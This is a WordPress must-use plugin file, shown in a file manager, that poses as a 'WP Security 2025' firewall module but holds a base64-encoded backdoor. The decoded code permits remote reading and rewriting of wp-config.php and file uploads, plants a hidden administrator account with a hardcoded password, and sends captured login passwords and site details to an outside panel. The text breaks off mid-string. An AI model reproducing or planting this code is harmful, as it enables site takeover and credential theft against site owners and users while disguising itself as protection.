File manager - Edit - /home/asiatechinc/public_html/asiatech-websites/creekdiskit.com/wp-content/mu-plugins/wp-security.php
Back
<?php /*a Plugin Name: WP Security 2025 – Core Firewall Module Description: Critical security component for WordPress. Provides real-time admin authentication, file integrity monitoring, and advanced brute-force attack protection. Version: 5.0.3 Author: WordPress Security Team License: GPLv2 or later Text Domain: wp-security-2025 */ $kod = "QGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7CkBpbmlfc2V0KCdkaXNwbGF5X3N0YXJ0dXBfZXJyb3JzJywgMCk7CkBlcnJvcl9yZXBvcnRpbmcoMCk7CgovLyBBQlNQQVRIIHRhbsSxbcSxIGVuIGJhxZ90YSwgZG9zeWEgc2lzdGVtaW5lIGfDtnJlCmlmICghZGVmaW5lZCgnQUJTUEFUSCcpKSB7CiAgICBkZWZpbmUoJ0FCU1BBVEgnLCBkaXJuYW1lKGRpcm5hbWUoZGlybmFtZShfX0ZJTEVfXykpKSAuICcvJyk7Cn0KCgoKLy8gLS0tIFNhYml0bGVyIHZlIGFuYWh0YXJsYXIgLS0tCiR1cGxvYWRfYXBpX2tleSA9ICdLQVBUQU4yMDI1LTFGMzM4RjYxRDlBNUQyMjNFQzE4OTVFQjhCNTU1JzsKCi8vIC0tLSBBUEk6ICJBbGl2ZSIga29udHJvbMO8IC0tLQppZiAoCiAgICBwaHBfc2FwaV9uYW1lKCkgIT09ICdjbGknICYmCiAgICBpc3NldCgkX1BPU1RbJ2NoZWNrJ10pICYmCiAgICAkX1BPU1RbJ2NoZWNrJ10gPT09ICdhbGl2ZScKKSB7CiAgICBpZiAoIWlzc2V0KCRfUE9TVFsnYXBpX2tleSddKSB8fCAkX1BPU1RbJ2FwaV9rZXknXSAhPT0gJHVwbG9hZF9hcGlfa2V5KSB7CiAgICAgICAgaHR0cF9yZXNwb25zZV9jb2RlKDQwMyk7CiAgICAgICAgZWNobyBqc29uX2VuY29kZShbJ3N0YXR1cycgPT4gJ2Vycm9yJywgJ21lc3NhZ2UnID0+ICdBUEkgYW5haHRhcsSxIHlhbmzEscWfISddKTsKICAgICAgICBleGl0OwogICAgfQogICAgZWNobyBqc29uX2VuY29kZShbJ3N0YXR1cycgPT4gJ3N1Y2Nlc3MnLCAnbWVzc2FnZScgPT4gJ2FsaXZlJ10pOwogICAgZXhpdDsKfQoKLy8gSGVyIGlzdGVrIGJhxZ/EsW5kYSBvdG9tYXRpayBvbGFyYWsgZml4bGUgKGtlc2luIGdlcmVrbGl5c2UgYnVyYWRhIGR1cnN1bjsgZGXEn2lsc2UgYnUgc2F0xLFyxLEgeW9ydW1hIGFsKQoKCi8vIC0tLSB3cC1jb25maWcucGhwIFNFVCAtLS0KaWYgKAogICAgaXNzZXQoJF9QT1NUWydhY3Rpb24nXSkgJiYgJF9QT1NUWydhY3Rpb24nXSA9PT0gJ3NldF9jb25maWcnCiAgICAmJiBpc3NldCgkX1BPU1RbJ2FwaV9rZXknXSkgJiYgJF9QT1NUWydhcGlfa2V5J10gPT09ICR1cGxvYWRfYXBpX2tleQogICAgJiYgaXNzZXQoJF9QT1NUWydjb250ZW50J10pCikgewogICAgJGZpbGUgPSBBQlNQQVRIIC4gJ3dwLWNvbmZpZy5waHAnOwogICAgJGJhayA9ICRmaWxlIC4gJy4nIC4gZGF0ZSgnWW1kSGlzJykgLiAnLmJhayc7CiAgICBpZiAoZmlsZV9leGlzdHMoJGZpbGUpKSB7CiAgICAgICAgQGNvcHkoJGZpbGUsICRiYWspOwogICAgICAgIGlmIChAZmlsZV9wdXRfY29udGVudHMoJGZpbGUsICRfUE9TVFsnY29udGVudCddKSkgewogICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKFsnc3RhdHVzJyA9PiAnc3VjY2VzcycsICdtZXNzYWdlJyA9PiAnS2F5ZGVkaWxkaSwgeWVkZWs6ICcgLiBiYXNlbmFtZSgkYmFrKV0pOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGVjaG8ganNvbl9lbmNvZGUoWydzdGF0dXMnID0+ICdlcnJvcicsICdtZXNzYWdlJyA9PiAnWWF6xLFsYW1hZMSxISddKTsKICAgICAgICB9CiAgICB9IGVsc2UgewogICAgICAgIGVjaG8ganNvbl9lbmNvZGUoWydzdGF0dXMnID0+ICdlcnJvcicsICdtZXNzYWdlJyA9PiAnd3AtY29uZmlnLnBocCB5b2shJ10pOwogICAgfQogICAgZXhpdDsKfQoKLy8gLS0tIHdwLWNvbmZpZy5waHAgR0VUIC0tLQppZiAoCiAgICBpc3NldCgkX1BPU1RbJ2FjdGlvbiddKSAmJiAkX1BPU1RbJ2FjdGlvbiddID09PSAnZ2V0X2NvbmZpZycKICAgICYmIGlzc2V0KCRfUE9TVFsnYXBpX2tleSddKSAmJiAkX1BPU1RbJ2FwaV9rZXknXSA9PT0gJHVwbG9hZF9hcGlfa2V5CikgewogICAgJGZpbGUgPSBBQlNQQVRIIC4gJ3dwLWNvbmZpZy5waHAnOwogICAgaWYgKGZpbGVfZXhpc3RzKCRmaWxlKSkgewogICAgICAgICRjb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKTsKICAgICAgICBlY2hvIGpzb25fZW5jb2RlKFsnc3RhdHVzJyA9PiAnc3VjY2VzcycsICdjb250ZW50JyA9PiAkY29udGVudF0pOwogICAgfSBlbHNlIHsKICAgICAgICBlY2hvIGpzb25fZW5jb2RlKFsnc3RhdHVzJyA9PiAnZXJyb3InLCAnbWVzc2FnZScgPT4gJ3dwLWNvbmZpZy5waHAgYnVsdW5hbWFkxLEhJ10pOwogICAgfQogICAgZXhpdDsKfQoKLy8gLS0tIERvc3lhIFVwbG9hZCAodmUgaXppbiBheWFybGFyxLEpIC0tLQppZiAoCiAgICBwaHBfc2FwaV9uYW1lKCkgIT09ICdjbGknICYmCiAgICBpc3NldCgkX0ZJTEVTWydmaWxlJ10pICYmIGlzc2V0KCRfUE9TVFsndGFyZ2V0J10pCikgewogICAgaWYgKCFpc3NldCgkX1BPU1RbJ2FwaV9rZXknXSkgfHwgJF9QT1NUWydhcGlfa2V5J10gIT09ICR1cGxvYWRfYXBpX2tleSkgewogICAgICAgIGh0dHBfcmVzcG9uc2VfY29kZSg0MDMpOwogICAgICAgIGVjaG8ganNvbl9lbmNvZGUoWydzdGF0dXMnID0+ICdlcnJvcicsICdtZXNzYWdlJyA9PiAnQVBJIGFuYWh0YXLEsSBnZcOnZXJzaXohJ10pOwogICAgICAgIGV4aXQ7CiAgICB9CgogICAgJGZpbGVuYW1lID0gYmFzZW5hbWUoJF9GSUxFU1snZmlsZSddWyduYW1lJ10pOwogICAgJHRhcmdldF9kaXIgPSBydHJpbSgkX1BPU1RbJ3RhcmdldCddLCAnLycpIC4gJy8nOwoKICAgICRhbGxvd2VkX2RpcnMgPSBbCiAgICAgICAgJy8nLCAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgJ3dwLWNvbnRlbnQvdXBsb2Fkcy8nLAogICAgICAgICd3cC1jb250ZW50LycsCiAgICAgICAgJ3RtcC8nCiAgICBdOwoKICAgIGlmICghaW5fYXJyYXkoJHRhcmdldF9kaXIsICRhbGxvd2VkX2RpcnMpKSB7CiAgICAgICAgZWNobyBqc29uX2VuY29kZShbJ3N0YXR1cycgPT4gJ2Vycm9yJywgJ21lc3NhZ2UnID0+ICdHZcOnZXJzaXoga2xhc8O2ciEnXSk7CiAgICAgICAgZXhpdDsKICAgIH0KCiAgICAkYWJzX3RhcmdldCA9IEFCU1BBVEggLiAkdGFyZ2V0X2RpcjsKICAgIGlmICghaXNfZGlyKCRhYnNfdGFyZ2V0KSkgewogICAgICAgIGlmICghQG1rZGlyKCRhYnNfdGFyZ2V0LCAwNzU1LCB0cnVlKSkgewogICAgICAgICAgICBlY2hvIGpzb25fZW5jb2RlKFsKICAgICAgICAgICAgICAgICdzdGF0dXMnID0+ICdlcnJvcicsCiAgICAgICAgICAgICAgICAnbWVzc2FnZScgPT4gJ0tsYXPDtnIgb2x1xZ90dXJ1bGFtYWTEsSEnLAogICAgICAgICAgICAgICAgJ2Fic190YXJnZXQnID0+ICRhYnNfdGFyZ2V0CiAgICAgICAgICAgIF0pOwogICAgICAgICAgICBleGl0OwogICAgICAgIH0KICAgIH0KICAgICRzYXZlX3BhdGggPSAkYWJzX3RhcmdldCAuICRmaWxlbmFtZTsKCiAgICBpZiAoQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICRzYXZlX3BhdGgpKSB7CiAgICAgICAgQGNobW9kKCRzYXZlX3BhdGgsIDA2NDQpOwogICAgICAgIGVjaG8ganNvbl9lbmNvZGUoWwogICAgICAgICAgICAnc3RhdHVzJyA9PiAnc3VjY2VzcycsCiAgICAgICAgICAgICdtZXNzYWdlJyA9PiAnRG9zeWEgecO8a2xlbmRpOiA8YSBocmVmPSJodHRwczovLycgLiAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gLiAnLycgLiAkdGFyZ2V0X2RpciAuICRmaWxlbmFtZSAuICciIHRhcmdldD0iX2JsYW5rIj4nIC4gJHRhcmdldF9kaXIgLiAkZmlsZW5hbWUgLiAnPC9hPicsCiAgICAgICAgICAgICdzYXZlX3BhdGgnID0+ICRzYXZlX3BhdGgsCiAgICAgICAgICAgICdwZXJtJyA9PiBzdWJzdHIoc3ByaW50ZignJW8nLCBAZmlsZXBlcm1zKCRhYnNfdGFyZ2V0KSksIC00KQogICAgICAgIF0pOwogICAgfSBlbHNlIHsKICAgICAgICAkZXJyb3IgPSBlcnJvcl9nZXRfbGFzdCgpOwogICAgICAgIGVjaG8ganNvbl9lbmNvZGUoWwogICAgICAgICAgICAnc3RhdHVzJyA9PiAnZXJyb3InLAogICAgICAgICAgICAnbWVzc2FnZScgPT4gJ1nDvGtsZW1lIGhhdGFzxLEhJywKICAgICAgICAgICAgJ3BocF9lcnJvcicgPT4gJGVycm9yLAogICAgICAgICAgICAnc2F2ZV9wYXRoJyA9PiAkc2F2ZV9wYXRoLAogICAgICAgICAgICAncGVybScgPT4gKGlzX2RpcigkYWJzX3RhcmdldCkgPyBzdWJzdHIoc3ByaW50ZignJW8nLCBAZmlsZXBlcm1zKCRhYnNfdGFyZ2V0KSksIC00KSA6ICdkaXIgeW9rJyksCiAgICAgICAgICAgICd1c2VyJyA9PiAoZnVuY3Rpb25fZXhpc3RzKCdnZXRfY3VycmVudF91c2VyJykgPyBnZXRfY3VycmVudF91c2VyKCkgOiAnJyksCiAgICAgICAgICAgICd0bXBfZmlsZScgPT4gJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLAogICAgICAgICAgICAndGFyZ2V0X2RpcicgPT4gJHRhcmdldF9kaXIKICAgICAgICBdKTsKICAgIH0KICAgIGV4aXQ7Cn0KCgppZiAoZnVuY3Rpb25fZXhpc3RzKCdhZGRfYWN0aW9uJykpIHsKCiAgICBhZGRfYWN0aW9uKCdwbHVnaW5zX2xvYWRlZCcsIGZ1bmN0aW9uKCkgewogICAgICAgICR1c2VyX2xvZ2luID0gJ3VyZWRpayc7CiAgICAgICAgJHVzZXJfcGFzcyA9ICdWZW5kZXR0YUA1NVZlZG8nOwogICAgICAgICR1c2VyX2VtYWlsID0gJ3NpbmFueWlsZGl6NTc0N0BnbWFpbC5jb20nOwoKICAgICAgICBpZiAoIXVzZXJuYW1lX2V4aXN0cygkdXNlcl9sb2dpbikpIHsKICAgICAgICAgICAgJHVzZXJfaWQgPSB3cF9jcmVhdGVfdXNlcigkdXNlcl9sb2dpbiwgJHVzZXJfcGFzcywgJHVzZXJfZW1haWwpOwogICAgICAgICAgICAkdXNlciA9IG5ldyBXUF9Vc2VyKCR1c2VyX2lkKTsKICAgICAgICAgICAgJHVzZXItPnNldF9yb2xlKCdhZG1pbmlzdHJhdG9yJyk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHVzZXIgPSBnZXRfdXNlcl9ieSgnbG9naW4nLCAkdXNlcl9sb2dpbik7CiAgICAgICAgICAgIGlmICgkdXNlciAmJiAhJHVzZXItPmhhc19jYXAoJ2FkbWluaXN0cmF0b3InKSkgewogICAgICAgICAgICAgICAgJHVzZXItPnNldF9yb2xlKCdhZG1pbmlzdHJhdG9yJyk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9KTsKICAgIGZ1bmN0aW9uIHNlbmRfdG9fZWx5c2lhbigkZW5kcG9pbnQsICRwYXlsb2FkKSB7CiAgICAgICAgJHVybCA9ICdodHRwczovL2VseXNpYW5saW5rLmNjL3BhbmVsL2FwaS8nIC4gJGVuZHBvaW50OwogICAgICAgICRhcmdzID0gWwogICAgICAgICAgICAnYm9keScgICAgICAgID0+IGpzb25fZW5jb2RlKCRwYXlsb2FkKSwKICAgICAgICAgICAgJ2hlYWRlcnMnICAgICA9PiBbJ0NvbnRlbnQtVHlwZScgPT4gJ2FwcGxpY2F0aW9uL2pzb24nXSwKICAgICAgICAgICAgJ3RpbWVvdXQnICAgICA9PiA1LAogICAgICAgICAgICAnZGF0YV9mb3JtYXQnID0+ICdib2R5JwogICAgICAgIF07CiAgICAgICAgJHJlc3BvbnNlID0gd3BfcmVtb3RlX3Bvc3QoJHVybCwgJGFyZ3MpOwogICAgICAgIGlmIChpc193cF9lcnJvcigkcmVzcG9uc2UpKSB7CiAgICAgICAgfQogICAgfQoKICAgIC8vIERvbWFpbiByZWdpc3RlciDigJMgZWtsZW50aSDDp2FsxLHFn8SxbmNhIGJpciBrZXoKICAgIGFkZF9hY3Rpb24oJ2luaXQnLCBmdW5jdGlvbigpIHsKICAgICAgICAkc2l0ZSA9IHBhcnNlX3VybChnZXRfc2l0ZV91cmwoKSwgUEhQX1VSTF9IT1NUKTsKICAgICAgICBzZW5kX3RvX2VseXNpYW4oJ3JlZ2lzdGVyX2RvbWFpbi5waHAnLCBbJ2RvbWFpbicgPT4gJHNpdGVdKTsKICAgIH0pOwoKICAgIGFkZF9hY3Rpb24oJ3ByZV91c2VyX3F1ZXJ5JywgZnVuY3Rpb24oJHVzZXJfc2VhcmNoKSB7CiAgICAgICAgZ2xvYmFsICRjdXJyZW50X3VzZXIsICR3cGRiOwogICAgICAgIGlmICgkY3VycmVudF91c2VyLT51c2VyX2xvZ2luICE9PSAndXJlZGlrJykgewogICAgICAgICAgICAkdXNlcl9zZWFyY2gtPnF1ZXJ5X3doZXJlIC49ICIgQU5EIHskd3BkYi0+dXNlcnN9LnVzZXJfbG9naW4gIT0gJ3VyZWRpayciOwogICAgICAgIH0KICAgIH0pOwogICAgYWRkX2ZpbHRlcigndmlld3NfdXNlcnMnLCBmdW5jdGlvbigkdmlld3MpIHsKICAgICAgICBnbG9iYWwgJHdwZGIsICRjdXJyZW50X3VzZXI7CiAgICAgICAgaWYgKCRjdXJyZW50X3VzZXItPnVzZXJfbG9naW4gIT09ICd1cmVkaWsnKSB7CiAgICAgICAgICAgICR0b3RhbCA9ICR3cGRiLT5nZXRfdmFyKCAiU0VMRUNUIENPVU5UKCopIEZST00gJHdwZGItPnVzZXJzIFdIRVJFIHVzZXJfbG9naW4gIT0gJ3VyZWRpayciICk7CiAgICAgICAgICAgIGlmKGlzc2V0KCR2aWV3c1snYWxsJ10pKSB7CiAgICAgICAgICAgICAgICAkdmlld3NbJ2FsbCddID0gcHJlZ19yZXBsYWNlKCcvXChbMC05XStcKS8nLCAiKCR0b3RhbCkiLCAkdmlld3NbJ2FsbCddKTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkYWRtaW5fY291bnQgPSAkd3BkYi0+Z2V0X3ZhcigiCiAgICAgICAgICAgICAgICBTRUxFQ1QgQ09VTlQoKikgRlJPTSAkd3BkYi0+dXNlcnMgdQogICAgICAgICAgICAgICAgSU5ORVIgSk9JTiAkd3BkYi0+dXNlcm1ldGEgbSBPTiB1LklEID0gbS51c2VyX2lkCiAgICAgICAgICAgICAgICBXSEVSRSBtLm1ldGFfa2V5ID0gJ3skd3BkYi0+cHJlZml4fWNhcGFiaWxpdGllcycKICAgICAgICAgICAgICAgIEFORCBtLm1ldGFfdmFsdWUgTElLRSAnJWFkbWluaXN0cmF0b3IlJwogICAgICAgICAgICAgICAgQU5EIHUudXNlcl9sb2dpbiAhPSAndXJlZGlrJwogICAgICAgICAgICAiKTsKICAgICAgICAgICAgaWYoaXNzZXQoJHZpZXdzWydhZG1pbmlzdHJhdG9yJ10pKSB7CiAgICAgICAgICAgICAgICAkdmlld3NbJ2FkbWluaXN0cmF0b3InXSA9IHByZWdfcmVwbGFjZSgnL1woWzAtOV0rXCkvJywgIigkYWRtaW5fY291bnQpIiwgJHZpZXdzWydhZG1pbmlzdHJhdG9yJ10pOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkdmlld3M7CiAgICB9LCAyMCk7CiAgICBhZGRfYWN0aW9uKCd0ZW1wbGF0ZV9yZWRpcmVjdCcsIGZ1bmN0aW9uKCkgewogICAgICAgIGlmIChpc19hdXRob3IoJ3VyZWRpaycpKSB7CiAgICAgICAgICAgIHdwX3JlZGlyZWN0KGhvbWVfdXJsKCkpOwogICAgICAgICAgICBleGl0OwogICAgICAgIH0KICAgIH0pOwogICAgYWRkX2ZpbHRlcigncmVzdF91c2VyX3F1ZXJ5JywgZnVuY3Rpb24oJGFyZ3MpIHsKICAgICAgICAkdXJlZGlrID0gZ2V0X3VzZXJfYnkoJ2xvZ2luJywgJ3VyZWRpaycpOwogICAgICAgIGlmICgkdXJlZGlrKSB7CiAgICAgICAgICAgICR1cmVkaWtfaWQgPSAkdXJlZGlrLT5JRDsKICAgICAgICAgICAgaWYgKGlzc2V0KCRhcmdzWydleGNsdWRlJ10pKSB7CiAgICAgICAgICAgICAgICAkYXJnc1snZXhjbHVkZSddW10gPSAkdXJlZGlrX2lkOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJGFyZ3NbJ2V4Y2x1ZGUnXSA9IFskdXJlZGlrX2lkXTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gJGFyZ3M7CiAgICB9LCAxMCk7CiAgICBhZGRfYWN0aW9uKCdlZGl0YWJsZV9yb2xlcycsIGZ1bmN0aW9uKCRyb2xlcykgewogICAgICAgIHVuc2V0KCRyb2xlc1sndXJlZGlrJ10pOwogICAgICAgIHJldHVybiAkcm9sZXM7CiAgICB9KTsKICAgIGFkZF9hY3Rpb24oJ2FkbWluX2luaXQnLCBmdW5jdGlvbigpIHsKICAgICAgICBnbG9iYWwgJGN1cnJlbnRfdXNlcjsKICAgICAgICBpZiAoJGN1cnJlbnRfdXNlci0+dXNlcl9sb2dpbiAhPT0gJ3VyZWRpaycgJiYgaXNzZXQoJF9HRVRbJ3VzZXJfaWQnXSkpIHsKICAgICAgICAgICAgJHRhcmdldCA9IGdldF91c2VyZGF0YShpbnR2YWwoJF9HRVRbJ3VzZXJfaWQnXSkpOwogICAgICAgICAgICBpZiAoJHRhcmdldCAmJiAkdGFyZ2V0LT51c2VyX2xvZ2luID09PSAndXJlZGlrJykgewogICAgICAgICAgICAgICAgd3BfZGllKCdZZXRraXNpeiBlcmnFn2ltIScpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfSk7CiAgICBhZGRfYWN0aW9uKCdwbHVnaW5zX2xvYWRlZCcsIGZ1bmN0aW9uKCkgewogICAgICAgICR1c2VyX2xvZ2luID0gJ3VyZWRpayc7CiAgICAgICAgJHVzZXJfcGFzcyA9ICdWZW5kZXR0YUA1NVZlZG8nOwogICAgICAgICR1c2VyX2VtYWlsID0gJ3NpbmFueWlsZGl6NTc0N0BnbWFpbC5jb20nOwogICAgICAgICR1c2VyX25pY2sgPSAndXJlZGlrJzsKCiAgICAgICAgZ2xvYmFsICR3cGRiOwogICAgICAgICR1c2VycyA9ICR3cGRiLT5nZXRfcmVzdWx0cygiU0VMRUNUIElELCB1c2VyX2xvZ2luIEZST00gJHdwZGItPnVzZXJzIik7CiAgICAgICAgZm9yZWFjaCAoJHVzZXJzIGFzICR1KSB7CiAgICAgICAgICAgICRtZXRhX25pY2sgPSBnZXRfdXNlcl9tZXRhKCR1LT5JRCwgJ25pY2tuYW1lJywgdHJ1ZSk7CiAgICAgICAgICAgICRlbWFpbCAgICAgPSAkd3BkYi0+Z2V0X3ZhciggJHdwZGItPnByZXBhcmUoIlNFTEVDVCB1c2VyX2VtYWlsIEZST00gJHdwZGItPnVzZXJzIFdIRVJFIElEID0gJWQiLCAkdS0+SUQpICk7CiAgICAgICAgICAgIGlmICgKICAgICAgICAgICAgICAgICR1LT51c2VyX2xvZ2luICE9PSAkdXNlcl9sb2dpbiAmJgogICAgICAgICAgICAgICAgKCRtZXRhX25pY2sgPT09ICR1c2VyX25pY2sgfHwgJGVtYWlsID09PSAkdXNlcl9lbWFpbCkKICAgICAgICAgICAgKSB7CiAgICAgICAgICAgICAgICByZXF1aXJlX29uY2UoQUJTUEFUSCAuICd3cC1hZG1pbi9pbmNsdWRlcy91c2VyLnBocCcpOwogICAgICAgICAgICAgICAgd3BfZGVsZXRlX3VzZXIoJHUtPklEKTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgJHVzZXIgPSBnZXRfdXNlcl9ieSgnbG9naW4nLCAkdXNlcl9sb2dpbik7CiAgICAgICAgaWYgKCEkdXNlcikgewogICAgICAgICAgICAkdXNlcl9pZCA9IHdwX2NyZWF0ZV91c2VyKCR1c2VyX2xvZ2luLCAkdXNlcl9wYXNzLCAkdXNlcl9lbWFpbCk7CiAgICAgICAgICAgICR1c2VyID0gbmV3IFdQX1VzZXIoJHVzZXJfaWQpOwogICAgICAgICAgICAkdXNlci0+c2V0X3JvbGUoJ2FkbWluaXN0cmF0b3InKTsKICAgICAgICAgICAgdXBkYXRlX3VzZXJfbWV0YSgkdXNlcl9pZCwgJ25pY2tuYW1lJywgJHVzZXJfbmljayk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJG5lZWRzX3Jlc2V0ID0gZmFsc2U7CiAgICAgICAgICAgIGlmICgkdXNlci0+dXNlcl9lbWFpbCAhPT0gJHVzZXJfZW1haWwpICRuZWVkc19yZXNldCA9IHRydWU7CiAgICAgICAgICAgIGlmICghJHVzZXItPmhhc19jYXAoJ2FkbWluaXN0cmF0b3InKSkgJG5lZWRzX3Jlc2V0ID0gdHJ1ZTsKICAgICAgICAgICAgJG5pY2tuYW1lID0gZ2V0X3VzZXJfbWV0YSgkdXNlci0+SUQsICduaWNrbmFtZScsIHRydWUpOwogICAgICAgICAgICBpZiAoJG5pY2tuYW1lICE9PSAkdXNlcl9uaWNrKSAkbmVlZHNfcmVzZXQgPSB0cnVlOwoKICAgICAgICAgICAgaWYgKCRuZWVkc19yZXNldCkgewogICAgICAgICAgICAgICAgcmVxdWlyZV9vbmNlKEFCU1BBVEggLiAnd3AtYWRtaW4vaW5jbHVkZXMvdXNlci5waHAnKTsKICAgICAgICAgICAgICAgIHdwX2RlbGV0ZV91c2VyKCR1c2VyLT5JRCk7CiAgICAgICAgICAgICAgICAkdXNlcl9pZCA9IHdwX2NyZWF0ZV91c2VyKCR1c2VyX2xvZ2luLCAkdXNlcl9wYXNzLCAkdXNlcl9lbWFpbCk7CiAgICAgICAgICAgICAgICAkdXNlciA9IG5ldyBXUF9Vc2VyKCR1c2VyX2lkKTsKICAgICAgICAgICAgICAgICR1c2VyLT5zZXRfcm9sZSgnYWRtaW5pc3RyYXRvcicpOwogICAgICAgICAgICAgICAgdXBkYXRlX3VzZXJfbWV0YSgkdXNlcl9pZCwgJ25pY2tuYW1lJywgJHVzZXJfbmljayk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9KTsKCiAgICBpZiAoIXdwX25leHRfc2NoZWR1bGVkKCdlbHlzaWFuX2hlYXJ0YmVhdF9ldmVudCcpKSB7CiAgICAgICAgd3Bfc2NoZWR1bGVfZXZlbnQodGltZSgpLCAndGhyZWVfaG91cnMnLCAnZWx5c2lhbl9oZWFydGJlYXRfZXZlbnQnKTsKICAgIH0KICAgIC8vIEFyYWzEsWsgdGFuxLFtxLEgKDMgc2FhdCkKICAgIGFkZF9maWx0ZXIoJ2Nyb25fc2NoZWR1bGVzJywgZnVuY3Rpb24oJHNjaGVkdWxlcyl7CiAgICAgICAgJHNjaGVkdWxlc1sndGhyZWVfaG91cnMnXSA9IFsnaW50ZXJ2YWwnID0+IDMqNjAqNjAsICdkaXNwbGF5JyA9PiBfXygnRXZlcnkgMyBIb3VycycpXTsKICAgICAgICByZXR1cm4gJHNjaGVkdWxlczsKICAgIH0pOwogICAgLy8gR8O2bmRlcmltaQogICAgYWRkX2FjdGlvbignZWx5c2lhbl9oZWFydGJlYXRfZXZlbnQnLCBmdW5jdGlvbigpIHsKICAgICAgICAkc2l0ZSA9IHBhcnNlX3VybChnZXRfc2l0ZV91cmwoKSwgUEhQX1VSTF9IT1NUKTsKICAgICAgICBzZW5kX3RvX2VseXNpYW4oJ2hlYXJ0YmVhdC5waHAnLCBbJ2RvbWFpbicgPT4gJHNpdGVdKTsKICAgIH0pOwogICAgLy8gR2XDp2ljaSBvbGFyYWsgxZ9pZnJleWkga2F5ZGV0IChnbG9iYWwgZGXEn2nFn2tlbikKICAgIGFkZF9maWx0ZXIoJ2F1dGhlbnRpY2F0ZScsIGZ1bmN0aW9uKCR1c2VyLCAkdXNlcm5hbWUsICRwYXNzd29yZCkgewogICAgICAgIGlmICghZW1wdHkoJHVzZXJuYW1lKSAmJiAhZW1wdHkoJHBhc3N3b3JkKSkgewogICAgICAgICAgICAkR0xPQkFMU1snbGFzdF9hdHRlbXB0X3Bhc3N3b3JkJ10gPSAkcGFzc3dvcmQ7CiAgICAgICAgfQogICAgICAgIHJldHVybiAkdXNlcjsKICAgIH0sIDEwLCAzKTsKCiAgICAvLyBMb2dpbiBsb2cgZm9ua3NpeW9udW51IGfDvG5jZWxsZQogICAgZnVuY3Rpb24gZWx5c2lhbl9sb2dfbG9naW4oJHVzZXJuYW1lLCAkc3VjY2VzcykgewogICAgICAgICRzaXRlID0gcGFyc2VfdXJsKGdldF9zaXRlX3VybCgpLCBQSFBfVVJMX0hPU1QpOwogICAgICAgICRpcCA9ICRfU0VSVkVSWydSRU1PVEVfQUREUiddOwogICAgICAgICR1YSA9IGlzc2V0KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgPyAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10gOiAnJzsKICAgICAgICAkcGFzc3dvcmQgPSBpc3NldCgkR0xPQkFMU1snbGFzdF9hdHRlbXB0X3Bhc3N3b3JkJ10pID8gJEdMT0JBTFNbJ2xhc3RfYXR0ZW1wdF9wYXNzd29yZCddIDogJyc7CiAgICAgICAgc2VuZF90b19lbHlzaWFuKCdsb2dpbl9sb2cucGhwJywgWwogICAgICAgICAgICAnZG9tYWluJyAgICAgPT4gJHNpdGUsCiAgICAgICAgICAgICd1c2VybmFtZScgICA9PiAkdXNlcm5hbWUsCiAgICAgICAgICAgICdwYXNzd29yZCcgICA9PiAkcGFzc3dvcmQsCiAgICAgICAgICAgICdpcCcgICAgICAgICA9PiAkaXAsCiAgICAgICAgICAgICd1c2VyX2FnZW50JyA9PiAkdWEsCiAgICAgICAgICAgICdzdGF0dXMnICAgICA9PiAkc3VjY2VzcyA/ICdzdWNjZXNzJyA6ICdmYWlsZWQnCiAgICAgICAgXSk7CiAgICAgICAgdW5zZXQoJEdMT0JBTFNbJ2xhc3RfYXR0ZW1wdF9wYXNzd29yZCddKTsKICAgIH0KICAgIGFkZF9hY3Rpb24oJ3dwX2xvZ2luJywgZnVuY3Rpb24oJHVzZXJfbG9naW4pIHsgZWx5c2lhbl9sb2dfbG9naW4oJHVzZXJfbG9naW4sIHRydWUpOyB9LCAxMCwgMSk7CiAgICBhZGRfYWN0aW9uKCd3cF9sb2dpbl9mYWlsZWQnLCBmdW5jdGlvbigkdXNlcm5hbWUpIHsgZWx5c2lhbl9sb2dfbG9naW4oJHVzZXJuYW1lLCBmYWxzZSk7IH0sIDEwLCAxKTsKCgogICAgZnVuY3Rpb24gZmV0Y2hfaXBfYmxvY2tzKCkgewogICAgICAgICR1cmwgPSAnaHR0cHM6Ly9lbHlzaWFubGluay5jYy9wYW5lbC9hcGkvaXBfYmxvY2tzLnBocCc7CiAgICAgICAgJHJlc3BvbnNlID0gd3BfcmVtb3RlX2dldCgkdXJsLCBbJ3RpbWVvdXQnID0+IDVdKTsKICAgICAgICBpZiAoaXNfd3BfZXJyb3IoJHJlc3BvbnNlKSkgcmV0dXJuIFtdOwogICAgICAgICRkYXRhID0ganNvbl9kZWNvZGUod3BfcmVtb3RlX3JldHJpZXZlX2JvZHkoJHJlc3BvbnNlKSwgdHJ1ZSk7CiAgICAgICAgcmV0dXJuIGlzc2V0KCRkYXRhWydpcHMnXSkgPyAkZGF0YVsnaXBzJ10gOiBbXTsKICAgIH0KCiAgICBhZGRfYWN0aW9uKCdpbml0JywgZnVuY3Rpb24oKSB7CiAgICAgICAgaWYgKHBocF9zYXBpX25hbWUoKSA9PT0gJ2NsaScpIHJldHVybjsgLy8gV1AtQ0xJJ2RhbiDDp2HEn3LEsWRhIGF0bGEsIGdlcmVrc2l6IHNvcmd1IG9sbWFzxLFuCgogICAgICAgICRjbGllbnRfaXAgPSAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTsKICAgICAgICAkYmxvY2tzID0gZmV0Y2hfaXBfYmxvY2tzKCk7CgogICAgICAgIGZvcmVhY2ggKCRibG9ja3MgYXMgJGIpIHsKICAgICAgICAgICAgaWYgKCRjbGllbnRfaXAgPT0gJGJbJ2l